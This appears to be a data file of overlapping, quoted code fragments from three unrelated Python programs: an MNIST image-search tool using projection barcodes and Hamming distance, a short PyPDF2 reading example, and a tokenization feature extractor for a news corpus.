"digitSelectMenu(self): digitFolder = int(input(\"enter a digit (0 - 9): \")) while digitFolder >=",
"input(\"Yes I have read the above notes. Press Enter to DISPLAY ALL THE",
"{}\\n\\tResult Image: {}\".format(hd, resultImgLoc)) # time.sleep(0.5/4) if s: successCount += 1 hitRatio =",
"0 or greater than 9 to exit the search menu\") print(\"Once you exit",
"distance minBarcode = barcode # set the current barcode as imageLoc = self.imageLocations[i]",
"= imageLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) from create_barcode_image",
"exit Search Menu you will get Calculate Accuracy Hit Ratio \") input(\"Yes I",
"= cv2.imread(r\".\\temp\\searchImage.png\") resultBarcodeImage = cv2.imread(r\".\\temp\\resultImage.png\") fig.add_subplot(rows, columns, 1) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(\"Search Image\") fig.add_subplot(rows,",
"0 means the barcodes are identical which means they are the same image",
"selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = imageLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage",
"plt.imshow(resultBarcodeImage) plt.axis(\"off\") plt.title(\"Result Barcode\") plt.show() digitFolder = int(input(\"enter a digit (0 - 9):",
"cv2.imread(selectedImagePath) resultImageRelativePath = resultImgLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath)",
"pixel counter for pixel in row: # loop through each pixel in the",
"imageLoc, minBarcode class SearchSimilar: def __init__(self): self.digitSelectMenu() def findSimilar(self, inputBarcode): minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1",
"in the directory selectedImagePath = os.path.join(directory, imageName) print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode =",
"f.readline() while threshold: threshold = threshold.rstrip(\"\\n\") thresholds.append(float(threshold)) threshold = f.readline() f.close() # read",
"image2d = np.array(rotated_image) # get 2d representation of the rotated image for row",
"{}\".format(hd, resultImgLoc)) # time.sleep(0.5/4) if s: successCount += 1 hitRatio = accuracy(successCount) return",
"hammingDistance( barcode, inputBarcode) print(currentHMD) if currentHMD == 0: continue elif currentHMD < minHMD:",
"in enumerate(self.barcodes): # loop through every barcode in the barcodes list currentHMD =",
"self.qapp = QtWidgets.QApplication([]) QtWidgets.QMainWindow.__init__(self) self.widget = QtWidgets.QWidget() self.setCentralWidget(self.widget) self.widget.setLayout(QtWidgets.QVBoxLayout()) self.widget.layout().setContentsMargins(0,0,0,0) self.widget.layout().setSpacing(0) self.fig =",
"os.path.join(directory, imageName) print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) hmd, resultBarcode, resultImgLoc",
"imageName)) s, hd, resultImgLoc, resultImgBarcode = self.checkSuccess(searchBarcode, currDigit) print(\"\\tHamming Distance: {}\\n\\tResult Image: {}\".format(hd,",
"read barcode and image location from barcodes.txt file imageLocations = [] barcodes =",
"cols, sii) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(selectedImagePath, fontsize=9, y=0.90) fig.add_subplot(rows, cols, sii+1) plt.imshow(resultImage) plt.axis(\"off\") plt.title(resultImagePath,",
"line.rstrip(\"\\n\") line = line.split(\",\") imageLocation = line.pop() barcode = [] for bit in",
"NavigationToolbar2QT as NavigationToolbar class ScrollableWindow(QtWidgets.QMainWindow): def __init__(self, fig): self.qapp = QtWidgets.QApplication([]) QtWidgets.QMainWindow.__init__(self) self.widget",
"row_sum+=pixel # sum of pixels across a single row # thresholds the sum",
"the sum of the row to 1 or 0 based on calculated threshold",
"== int(searchDigitGroup): success = True return success, minHMD, imageLoc, minBarcode class SearchSimilar: def",
"matplotlib # Make sure that we are using QT5 matplotlib.use('Qt5Agg') import matplotlib.pyplot as",
"+ cv2.THRESH_OTSU) # apply threshold it just makes pixel values either black or",
"searchBarcode, searchDigitGroup): success = False # variable for holding the success information minHMD",
"= imageLocations[i] return minHMD, minBarcode, imageLoc def digitSelectMenu(self): digitFolder = int(input(\"enter a digit",
"imageName) print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) hmd, resultBarcode, resultImgLoc =",
"as a pixel value divide this number by 255 to get 0 or",
"None # barcode that corresponds to the minimum hamming distance imageLoc = None",
"Image import numpy as np import constants import os import math import matplotlib.pyplot",
"resultImgBarcode = self.checkSuccess(searchBarcode, currDigit) print(\"\\tHamming Distance: {}\\n\\tResult Image: {}\".format(hd, resultImgLoc)) # time.sleep(0.5/4) if",
"since we have either 0 or 255 as a pixel value divide this",
"line.split(\",\") imageLocation = line.pop() barcode = [] for bit in line: barcode.append(int(bit)) imageLocations.append(imageLocation)",
"cv2.imread(r\".\\temp\\searchImage.png\") resultBarcodeImage = cv2.imread(r\".\\temp\\resultImage.png\") fig.add_subplot(rows, columns, 1) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(\"Search Image\") fig.add_subplot(rows, columns,",
"RESULTS at Once...\") print(\"\\n\\n\\nSearching all the images in the dataset and finding results...\")",
"skip elif currentHMD < minHMD: # if the current calculated hamming distance is",
"notes. Press Enter to continue...\") print(\"\\n\\n\\nEnter a number between 0 and 9 to",
"have read the above notes. Press Enter to DISPLAY ALL THE RESULTS at",
"makes pixel values either black or white img = Image.fromarray(opcv) # create image",
"and scrolldown to see the results\") input(\"Yes I have read the above notes.",
"create_barcode_image import BarcodeImageGenerator as big big.generate_barcode_image(selectedImageBarcode, r\".\\temp\\searchImage.png\") big.generate_barcode_image(minBarcode, r\".\\temp\\resultImage.png\") searchBarcodeImage = cv2.imread(r\".\\temp\\searchImage.png\") resultBarcodeImage",
"= None # barcode that corresponds to the minimum hamming distance imageLoc =",
"print(imageLocations[i]) currentHMD = hammingDistance( barcode, inputBarcode) print(currentHMD) if currentHMD == 0: continue elif",
"array barcode = [] degree = constants.MIN_DEGREE while degree < constants.MAX_DEGREE: # loop",
"Ratio\") print(\"Show All Results at Once\") input(\"Yes I have read the above notes.",
"with open('./thresholds.txt', 'r') as f: threshold = f.readline() while threshold: threshold = threshold.rstrip(\"\\n\")",
"# skip elif currentHMD < minHMD: # if the current calculated hamming distance",
"Distance: {}\".format(minHMD)) rows, columns = 2, 2 selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = imageLoc.split(\"_\",",
"read thresholds from thresholds.txt and then store them into thresholds list thresholds =",
"fig = plt.figure(figsize=(16,100), dpi=100) rows, cols = constants.NUMBER_OF_DIGITS*constants.NUMBER_IMAGES, 2 for currDigit in range(constants.NUMBER_OF_DIGITS):",
"= create_barcode(os.path.join(directory, imageName)) hmd, resultBarcode, resultImgLoc = self.findSimilar(searchBarcode) selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath =",
"minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 # Minimum Hamming Distance. It is (maxiumum hamming distance +",
"print(\"Calculate Accuracy Hit Ratio\") print(\"Show All Results at Once\") input(\"Yes I have read",
"rows, cols = constants.NUMBER_OF_DIGITS*constants.NUMBER_IMAGES, 2 for currDigit in range(constants.NUMBER_OF_DIGITS): # loop through 0",
"across a single row # thresholds the sum of the row to 1",
"row pixel counter for pixel in row: # loop through each pixel in",
"the current barcode as imageLoc = self.imageLocations[i] resultDigitGroup = imageLoc.split(\"_\", 1)[0] if int(resultDigitGroup)",
"- 9): \")) while digitFolder >= 0 and digitFolder <= 9: directory =",
"constants.MIN_DEGREE while degree < constants.MAX_DEGREE: # loop through MIN_DEGREE to MAX_DEGREE by STEP_DEGREE",
"from above list: \")) selectedImagePath = os.path.join(directory, os.listdir(directory)[selectImage]) print(selectedImagePath) selectedImageBarcode = create_barcode(selectedImagePath) minHMD",
"barcode.append(1) else: barcode.append(0) degree += constants.STEP_DEGREE return barcode class CalculateAccuracyHitRatio: def __init__(self, barcodes,",
"# thresholds the sum of the row to 1 or 0 based on",
"plt.title(\"Search Image\") fig.add_subplot(rows, columns, 2) plt.imshow(resultImage) plt.axis(\"off\") plt.title(\"Result Image\") fig.add_subplot(rows, columns, 3) plt.imshow(searchBarcodeImage)",
"= 0 # initialize row pixel counter for pixel in row: # loop",
"fig.add_subplot(rows, cols, sii+1) plt.imshow(resultImage) plt.axis(\"off\") plt.title(resultImagePath, fontsize=9, y=0.90) return fig import matplotlib #",
"Hit Ratio\") print(\"Show All Results at Once\") input(\"Yes I have read the above",
"{}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) s, hd, resultImgLoc, resultImgBarcode = self.checkSuccess(searchBarcode, currDigit)",
"plt.title(\"Result Image\") fig.add_subplot(rows, columns, 3) plt.imshow(searchBarcodeImage) plt.axis(\"off\") plt.title(\"Search Barcode\") fig.add_subplot(rows, columns, 4) plt.imshow(resultBarcodeImage)",
"constants.STEP_DEGREE return barcode class CalculateAccuracyHitRatio: def __init__(self, barcodes, imageLocations): self.barcodes = barcodes self.imageLocations",
"from PyQt5 import QtWidgets from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas from matplotlib.backends.backend_qt5agg import",
"have read the above notes. Press Enter to continue...\") print(\"\\n\\n\\nEnter a number between",
"False # variable for holding the success information minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 # Minimum",
"the above notes. Press Enter to continue...\") fig = si.showAllResults() a = ScrollableWindow(fig)",
"= cv2.imread(selectedImagePath) resultImageRelativePath = imageLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage =",
"continue # skip elif currentHMD < minHMD: # if the current calculated hamming",
"= r'./MNIST_DS/{}'.format(currDigit) # digit folder path for imageName in os.listdir(directory): # loop thorugh",
"image2d: # loop through each row in thresholded image row_sum = 0 #",
"def showAllResults(self): fig = plt.figure(figsize=(16,100), dpi=100) rows, cols = constants.NUMBER_OF_DIGITS*constants.NUMBER_IMAGES, 2 for currDigit",
"search image\") print(\"Enter a number smaller than 0 or greater than 9 to",
"imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) s, hd, resultImgLoc, resultImgBarcode = self.checkSuccess(searchBarcode, currDigit) print(\"\\tHamming",
"= (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None imageLoc = None for i, barcode in",
"barcode, inputBarcode) print(currentHMD) if currentHMD == 0: continue elif currentHMD < minHMD: minHMD",
"digit (0 - 9): \")) while digitFolder >= 0 and digitFolder <= 9:",
"< minHMD: minHMD = currentHMD minBarcode = barcode imageLoc = imageLocations[i] return minHMD,",
"ratio...\") cahr = CalculateAccuracyHitRatio(barcodes, imageLocations) # accuracy calculator print(\"Accuracy is {}\".format(cahr.calculateAccuracy())) # calculate",
"print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) hmd, resultBarcode, resultImgLoc = self.findSimilar(searchBarcode)",
"through MIN_DEGREE to MAX_DEGREE by STEP_DEGREE currentProjectionThreshold = int(degree / constants.STEP_DEGREE) # find",
"= QtWidgets.QWidget() self.setCentralWidget(self.widget) self.widget.setLayout(QtWidgets.QVBoxLayout()) self.widget.layout().setContentsMargins(0,0,0,0) self.widget.layout().setSpacing(0) self.fig = fig self.canvas = FigureCanvas(self.fig) self.canvas.draw()",
"def calculateAccuracy(self): accuracy = lambda x : x / 100 successCount = 0",
"print(currentHMD) if currentHMD == 0: continue elif currentHMD < minHMD: minHMD = currentHMD",
"pixel / 255 # since we have either 0 or 255 as a",
"= r'./MNIST_DS/{}'.format(currDigit) # digit folder path for i, imageName in zip((i for i",
"None for i, barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode,selectedImageBarcode) print(currentHMD) if",
"# search menu print(\"\\n\\n\\nCalculating accuracy hit ratio...\") cahr = CalculateAccuracyHitRatio(barcodes, imageLocations) # accuracy",
"current calculated hamming distance minBarcode = barcode # set the current barcode as",
"Once...\") print(\"\\n\\n\\nSearching all the images in the dataset and finding results...\") print(\"Once you",
"degree += constants.STEP_DEGREE return barcode class CalculateAccuracyHitRatio: def __init__(self, barcodes, imageLocations): self.barcodes =",
"= int(input(\"select image from above list: \")) selectedImagePath = os.path.join(directory, os.listdir(directory)[selectImage]) print(selectedImagePath) selectedImageBarcode",
"(0 - 9): \")) def showAllResults(self): fig = plt.figure(figsize=(16,100), dpi=100) rows, cols =",
"dpi=100) rows, cols = constants.NUMBER_OF_DIGITS*constants.NUMBER_IMAGES, 2 for currDigit in range(constants.NUMBER_OF_DIGITS): # loop through",
"find the appropriate threshold index rotated_image = img.rotate(degree) # rotate the image image2d",
"lambda x : x / 100 successCount = 0 for currDigit in range(constants.NUMBER_OF_DIGITS):",
"currentHMD < minHMD: # if the current calculated hamming distance is less than",
"and display the accuracy input(\"Yes I have read the above notes. Press Enter",
"plt.figure(figsize=(16,100), dpi=100) rows, cols = constants.NUMBER_OF_DIGITS*constants.NUMBER_IMAGES, 2 for currDigit in range(constants.NUMBER_OF_DIGITS): # loop",
"selectImage = int(input(\"select image from above list: \")) selectedImagePath = os.path.join(directory, os.listdir(directory)[selectImage]) print(selectedImagePath)",
"self.widget.setLayout(QtWidgets.QVBoxLayout()) self.widget.layout().setContentsMargins(0,0,0,0) self.widget.layout().setSpacing(0) self.fig = fig self.canvas = FigureCanvas(self.fig) self.canvas.draw() self.scroll = QtWidgets.QScrollArea(self.widget)",
"success = True return success, minHMD, imageLoc, minBarcode class SearchSimilar: def __init__(self): self.digitSelectMenu()",
"= f.readline() f.close() # read barcode and image location from barcodes.txt file imageLocations",
"All Results at Once\") input(\"Yes I have read the above notes. Press Enter",
"calculator print(\"Accuracy is {}\".format(cahr.calculateAccuracy())) # calculate and display the accuracy input(\"Yes I have",
"[] opcv = cv2.imread(imagePath, 0) # read image file as cv2 image #",
"at Once\") input(\"Yes I have read the above notes. Press Enter to continue...\")",
"= QtWidgets.QApplication([]) QtWidgets.QMainWindow.__init__(self) self.widget = QtWidgets.QWidget() self.setCentralWidget(self.widget) self.widget.setLayout(QtWidgets.QVBoxLayout()) self.widget.layout().setContentsMargins(0,0,0,0) self.widget.layout().setSpacing(0) self.fig = fig",
"if the current calculated hamming distance is less than the minimum hamming distance",
"I have read the above notes. Press Enter to continue...\") si = SearchSimilar()",
"cv2.imread(selectedImagePath) resultImageRelativePath = imageLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath)",
"r\".\\temp\\searchImage.png\") big.generate_barcode_image(minBarcode, r\".\\temp\\resultImage.png\") searchBarcodeImage = cv2.imread(r\".\\temp\\searchImage.png\") resultBarcodeImage = cv2.imread(r\".\\temp\\resultImage.png\") fig.add_subplot(rows, columns, 1) plt.imshow(selectedImage)",
"read image file as cv2 image # ret2, th2 = cv2.threshold(opcv, 0, 255,",
"for i, barcode in enumerate(self.barcodes): # loop through every barcode in the barcodes",
"(constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None imageLoc = None for i, barcode in enumerate(barcodes):",
"self.scroll.setWidget(self.canvas) self.nav = NavigationToolbar(self.canvas, self.widget) self.widget.layout().addWidget(self.nav) self.widget.layout().addWidget(self.scroll) self.show() exit(self.qapp.exec_()) if __name__ == \"__main__\":",
"\")) while digitFolder >= 0 and digitFolder <= 9: directory = r'.\\MNIST_DS\\{}'.format(digitFolder) for",
"Press Enter to DISPLAY ALL THE RESULTS at Once...\") print(\"\\n\\n\\nSearching all the images",
"matplotlib.pyplot as plt from PyQt5 import QtWidgets from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas",
"= currentHMD # then set minimum hamming distance to current calculated hamming distance",
"minBarcode = barcode # set the current barcode as imageLoc = self.imageLocations[i] resultDigitGroup",
"print(\"\\tImage Location: {}\".format(imageLoc)) print(\"\\tBarcode: {}\".format(minBarcode)) fig = plt.figure(figsize=(10, 7)) fig.suptitle(\"Hamming Distance: {}\".format(minHMD)) rows,",
"= resultImgLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) sii =",
"os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) sii = currDigit*20+i fig.add_subplot(rows, cols, sii) plt.imshow(selectedImage)"
] |
[
"file, it creates a new file # output_file = open(\"new_pdf_file.pdf\", \"wb\") # pdf_writer.write(output_file)",
"PyPDF2.PdfFileReader(pdf_file) print(\"Number of pages in the pdf file:\", pdf_reader.numPages) # 0 based index",
"to end but hard to add content to any page # pdf_writer =",
"based index grab_a_page = pdf_reader.getPage(10) print(\"Content of a given page is:\", grab_a_page.extractText()) #",
"read as binary file, make sure you pass the pdf file name pdf_file",
"# Write the page 101 to a new file, it creates a new",
"pdf file name pdf_file = open(\"path-to-pdf.pdf\", \"rb\") pdf_reader = PyPDF2.PdfFileReader(pdf_file) print(\"Number of pages",
"101 to a new file, it creates a new file # output_file =",
"grab_a_page = pdf_reader.getPage(10) print(\"Content of a given page is:\", grab_a_page.extractText()) # # It",
"= pdf_reader.getPage(10) print(\"Content of a given page is:\", grab_a_page.extractText()) # # It allows",
"It allows to append an page to end but hard to add content",
"page to end but hard to add content to any page # pdf_writer",
"work with pdf files # It can only read text content, not the",
"page 101 to a new file, it creates a new file # output_file",
"pass the pdf file name pdf_file = open(\"path-to-pdf.pdf\", \"rb\") pdf_reader = PyPDF2.PdfFileReader(pdf_file) print(\"Number",
"# 0 based index grab_a_page = pdf_reader.getPage(10) print(\"Content of a given page is:\",",
"binary file, make sure you pass the pdf file name pdf_file = open(\"path-to-pdf.pdf\",",
"allows to append an page to end but hard to add content to",
"import PyPDF2 # read as binary file, make sure you pass the pdf",
"Use PyPDF2 library to work with pdf files # It can only read",
"pdf files # It can only read text content, not the images and",
"pdf_file = open(\"path-to-pdf.pdf\", \"rb\") pdf_reader = PyPDF2.PdfFileReader(pdf_file) print(\"Number of pages in the pdf",
"# It allows to append an page to end but hard to add",
"PyPDF2 library to work with pdf files # It can only read text",
"pdf_reader = PyPDF2.PdfFileReader(pdf_file) print(\"Number of pages in the pdf file:\", pdf_reader.numPages) # 0",
"pdf_reader.getPage(10) print(\"Content of a given page is:\", grab_a_page.extractText()) # # It allows to",
"add content to any page # pdf_writer = PyPDF2.PdfFileWriter() # pdf_writer.addPage(grab_a_page) # Write",
"the page 101 to a new file, it creates a new file #",
"other media content import PyPDF2 # read as binary file, make sure you",
"# It can only read text content, not the images and other media",
"pdf_writer.addPage(grab_a_page) # Write the page 101 to a new file, it creates a",
"content to any page # pdf_writer = PyPDF2.PdfFileWriter() # pdf_writer.addPage(grab_a_page) # Write the",
"new file, it creates a new file # output_file = open(\"new_pdf_file.pdf\", \"wb\") #",
"of a given page is:\", grab_a_page.extractText()) # # It allows to append an",
"library to work with pdf files # It can only read text content,",
"grab_a_page.extractText()) # # It allows to append an page to end but hard",
"to any page # pdf_writer = PyPDF2.PdfFileWriter() # pdf_writer.addPage(grab_a_page) # Write the page",
"a new file, it creates a new file # output_file = open(\"new_pdf_file.pdf\", \"wb\")",
"# # It allows to append an page to end but hard to",
"an page to end but hard to add content to any page #",
"It can only read text content, not the images and other media content",
"a given page is:\", grab_a_page.extractText()) # # It allows to append an page",
"file:\", pdf_reader.numPages) # 0 based index grab_a_page = pdf_reader.getPage(10) print(\"Content of a given",
"and other media content import PyPDF2 # read as binary file, make sure",
"0 based index grab_a_page = pdf_reader.getPage(10) print(\"Content of a given page is:\", grab_a_page.extractText())",
"file, make sure you pass the pdf file name pdf_file = open(\"path-to-pdf.pdf\", \"rb\")",
"# Use PyPDF2 library to work with pdf files # It can only",
"in the pdf file:\", pdf_reader.numPages) # 0 based index grab_a_page = pdf_reader.getPage(10) print(\"Content",
"page is:\", grab_a_page.extractText()) # # It allows to append an page to end",
"open(\"path-to-pdf.pdf\", \"rb\") pdf_reader = PyPDF2.PdfFileReader(pdf_file) print(\"Number of pages in the pdf file:\", pdf_reader.numPages)",
"to work with pdf files # It can only read text content, not",
"append an page to end but hard to add content to any page",
"media content import PyPDF2 # read as binary file, make sure you pass",
"Write the page 101 to a new file, it creates a new file",
"= open(\"path-to-pdf.pdf\", \"rb\") pdf_reader = PyPDF2.PdfFileReader(pdf_file) print(\"Number of pages in the pdf file:\",",
"a new file # output_file = open(\"new_pdf_file.pdf\", \"wb\") # pdf_writer.write(output_file) pdf_file.close() # output_file.close()",
"page # pdf_writer = PyPDF2.PdfFileWriter() # pdf_writer.addPage(grab_a_page) # Write the page 101 to",
"= PyPDF2.PdfFileReader(pdf_file) print(\"Number of pages in the pdf file:\", pdf_reader.numPages) # 0 based",
"sure you pass the pdf file name pdf_file = open(\"path-to-pdf.pdf\", \"rb\") pdf_reader =",
"pdf file:\", pdf_reader.numPages) # 0 based index grab_a_page = pdf_reader.getPage(10) print(\"Content of a",
"index grab_a_page = pdf_reader.getPage(10) print(\"Content of a given page is:\", grab_a_page.extractText()) # #",
"files # It can only read text content, not the images and other",
"as binary file, make sure you pass the pdf file name pdf_file =",
"PyPDF2.PdfFileWriter() # pdf_writer.addPage(grab_a_page) # Write the page 101 to a new file, it",
"only read text content, not the images and other media content import PyPDF2",
"make sure you pass the pdf file name pdf_file = open(\"path-to-pdf.pdf\", \"rb\") pdf_reader",
"to add content to any page # pdf_writer = PyPDF2.PdfFileWriter() # pdf_writer.addPage(grab_a_page) #",
"can only read text content, not the images and other media content import",
"# read as binary file, make sure you pass the pdf file name",
"# pdf_writer.addPage(grab_a_page) # Write the page 101 to a new file, it creates",
"file name pdf_file = open(\"path-to-pdf.pdf\", \"rb\") pdf_reader = PyPDF2.PdfFileReader(pdf_file) print(\"Number of pages in",
"content import PyPDF2 # read as binary file, make sure you pass the",
"it creates a new file # output_file = open(\"new_pdf_file.pdf\", \"wb\") # pdf_writer.write(output_file) pdf_file.close()",
"= PyPDF2.PdfFileWriter() # pdf_writer.addPage(grab_a_page) # Write the page 101 to a new file,",
"<filename>file-operations/pdf_operations.py # Use PyPDF2 library to work with pdf files # It can",
"hard to add content to any page # pdf_writer = PyPDF2.PdfFileWriter() # pdf_writer.addPage(grab_a_page)",
"with pdf files # It can only read text content, not the images",
"name pdf_file = open(\"path-to-pdf.pdf\", \"rb\") pdf_reader = PyPDF2.PdfFileReader(pdf_file) print(\"Number of pages in the",
"pages in the pdf file:\", pdf_reader.numPages) # 0 based index grab_a_page = pdf_reader.getPage(10)",
"the images and other media content import PyPDF2 # read as binary file,",
"given page is:\", grab_a_page.extractText()) # # It allows to append an page to",
"# pdf_writer = PyPDF2.PdfFileWriter() # pdf_writer.addPage(grab_a_page) # Write the page 101 to a",
"\"rb\") pdf_reader = PyPDF2.PdfFileReader(pdf_file) print(\"Number of pages in the pdf file:\", pdf_reader.numPages) #",
"the pdf file name pdf_file = open(\"path-to-pdf.pdf\", \"rb\") pdf_reader = PyPDF2.PdfFileReader(pdf_file) print(\"Number of",
"but hard to add content to any page # pdf_writer = PyPDF2.PdfFileWriter() #",
"PyPDF2 # read as binary file, make sure you pass the pdf file",
"is:\", grab_a_page.extractText()) # # It allows to append an page to end but",
"the pdf file:\", pdf_reader.numPages) # 0 based index grab_a_page = pdf_reader.getPage(10) print(\"Content of",
"text content, not the images and other media content import PyPDF2 # read",
"print(\"Content of a given page is:\", grab_a_page.extractText()) # # It allows to append",
"images and other media content import PyPDF2 # read as binary file, make",
"not the images and other media content import PyPDF2 # read as binary",
"to a new file, it creates a new file # output_file = open(\"new_pdf_file.pdf\",",
"to append an page to end but hard to add content to any",
"end but hard to add content to any page # pdf_writer = PyPDF2.PdfFileWriter()",
"you pass the pdf file name pdf_file = open(\"path-to-pdf.pdf\", \"rb\") pdf_reader = PyPDF2.PdfFileReader(pdf_file)",
"print(\"Number of pages in the pdf file:\", pdf_reader.numPages) # 0 based index grab_a_page",
"content, not the images and other media content import PyPDF2 # read as",
"pdf_writer = PyPDF2.PdfFileWriter() # pdf_writer.addPage(grab_a_page) # Write the page 101 to a new",
"pdf_reader.numPages) # 0 based index grab_a_page = pdf_reader.getPage(10) print(\"Content of a given page",
"creates a new file # output_file = open(\"new_pdf_file.pdf\", \"wb\") # pdf_writer.write(output_file) pdf_file.close() #",
"any page # pdf_writer = PyPDF2.PdfFileWriter() # pdf_writer.addPage(grab_a_page) # Write the page 101",
"read text content, not the images and other media content import PyPDF2 #",
"of pages in the pdf file:\", pdf_reader.numPages) # 0 based index grab_a_page ="
] |
[
"os def file_feature_extraction(dir, filename): ''' Navigates through tokenized words, reconstructs original form by",
"x = None punc = '\\',.\\\"?!-;:()' # % left out for now for",
"= False if token in punc: # for only punctuation tokens if (token",
"pos = len(original_form) - 1 found = True #send for feature extraction elif",
"j original_form = token label = 0 found = True break if found:",
"punc: case = int(j.isupper()) only_punc = False break if not only_punc: x =",
"punc_type = punc.index(token) original_form = tokens[i - 1] + token label = 1",
"+ token label = 1 pos = 0 found = True else: #",
"len(original_form) - 1 found = True # send for feature extraction elif token",
"j in zip(token, range(len(token))): # iterate through string to detect punctuations punc_type =",
"[punc_type, pos, len(original_form), case] return x if __name__ == '__main__': x = []",
"token == ';' or token == ':': punc_type = punc.index(token) original_form = tokens[i",
"for the token used during inference ''' x = None punc = '\\',.\\\"?!-;:()'",
"(token == '\\'' or token == '\\\"') and quote_count % 2 == 0:",
"in the same txt file. Args: dir: directory of the given file filename:",
"features y = [] # labels tokens = [] with open(dir+filename, 'r', encoding='utf8')",
"range(len(tokens))): found = False if token in punc: # for only punctuation tokens",
"for j in original_form: if j not in punc: case = int(j.isupper()) only_punc",
"break if found: only_punc = True for j in original_form: if j not",
"len(original_form), case] return x if __name__ == '__main__': x = [] y =",
"1] #add try statements label = 1 # punctuation is another token pos",
"token pos = 0 found = True except IndexError: break # send for",
"found pos = j original_form = token break only_punc = True for j",
"y_temp = file_feature_extraction(category_dir, j) x.extend(x_temp) y.extend(y_temp) with open('../features/tokenization_features_and_labels.txt', 'r+', encoding='utf8') as f: for",
"+ 1] #add try statements label = 1 # punctuation is another token",
"== 0: quote_count += 1 punc_type = punc.index(token) try: original_form = token +",
"= 1 pos = 0 found = True else: # for not only",
"= token label = 0 found = True break if found: only_punc =",
"# iterate through string to detect punctuations punc_type = punc.find(ch) if punc_type !=",
"== '__main__': x = [] y = [] dir = 'D:/Mansur/Boun/CMPE 561/assignments/assignment 1/42bin_haber/news/'",
"or token == '\\\"') and quote_count % 2 == 0: quote_count += 1",
"IndexError: break elif token == ')': punc_type = punc.index(token) original_form = tokens[i -",
"1: quote_count += 1 punc_type = punc.index(token) original_form = tokens[i - 1] +",
"left out for now for ch, j in zip(token, range(len(token))): # iterate through",
"= len(original_form) - 1 found = True else: for ch, j in zip(token,",
"not in punc: case = int(j.isupper()) only_punc = False break if not only_punc:",
"pos, len(original_form), case]) y.append(label) return x, y def token_feature_extraction(token): ''' Args: token: token",
"[] y = [] dir = 'D:/Mansur/Boun/CMPE 561/assignments/assignment 1/42bin_haber/news/' categories = os.listdir(dir) for",
"punc.index(token[0]) original_form = tokens[i - 1] + token label = 1 pos =",
"[] # labels tokens = [] with open(dir+filename, 'r', encoding='utf8') as f: for",
"token + tokens[i + 1] label = 1 pos = 0 found =",
"x = [] y = [] dir = 'D:/Mansur/Boun/CMPE 561/assignments/assignment 1/42bin_haber/news/' categories =",
"found: only_punc = True for j in original_form: if j not in punc:",
"punc_type = punc.index(token) try: original_form = token + tokens[i + 1] #add try",
"be extracted Returns: features for the token used during inference ''' x =",
"file_feature_extraction(dir, filename): ''' Navigates through tokenized words, reconstructs original form by following few",
"dir: directory of the given file filename: name of the input file Returns:",
"== ':': punc_type = punc.index(token) original_form = tokens[i - 1] + token label",
"iterate through string to detect punctuations punc_type = punc.find(ch) if punc_type != -1:",
"-1: # punctuation is found pos = j original_form = token break only_punc",
"== '\\\"') and quote_count % 2 == 1: quote_count += 1 punc_type =",
"# punctuation is found pos = j original_form = token break only_punc =",
"2 == 0: quote_count += 1 punc_type = punc.index(token) try: original_form = token",
"directory of the given file filename: name of the input file Returns: '''",
"token == '\\\"') and quote_count % 2 == 1: quote_count += 1 punc_type",
"= dir + i + '/' category_files = os.listdir(category_dir) for j in category_files:",
"f: for line in f.readlines(): # each token is kept on a different",
"token and adds them to the corresponding list All features of the dataset",
"category_files = os.listdir(category_dir) for j in category_files: if '_tokenized' in j: # take",
"few rules Then, extracts features for that token and adds them to the",
"= int(j.isupper()) only_punc = False break if not only_punc: x.append([punc_type, pos, len(original_form), case])",
"= True else: for ch, j in zip(token, range(len(token))): # iterate through string",
"feature, i in zip(x, range(len(x))): for j in feature: f.write('%d\\t' % j) f.write('%d\\n'",
"= False break if not only_punc: x.append([punc_type, pos, len(original_form), case]) y.append(label) return x,",
"1] label = 1 pos = 0 found = True except IndexError: break",
"= True #send for feature extraction elif token == '(': punc_type = punc.index(token)",
"pos = j original_form = token label = 0 found = True break",
"'_tokenized' in j: # take only tokenized files x_temp, y_temp = file_feature_extraction(category_dir, j)",
"tokenized words, reconstructs original form by following few rules Then, extracts features for",
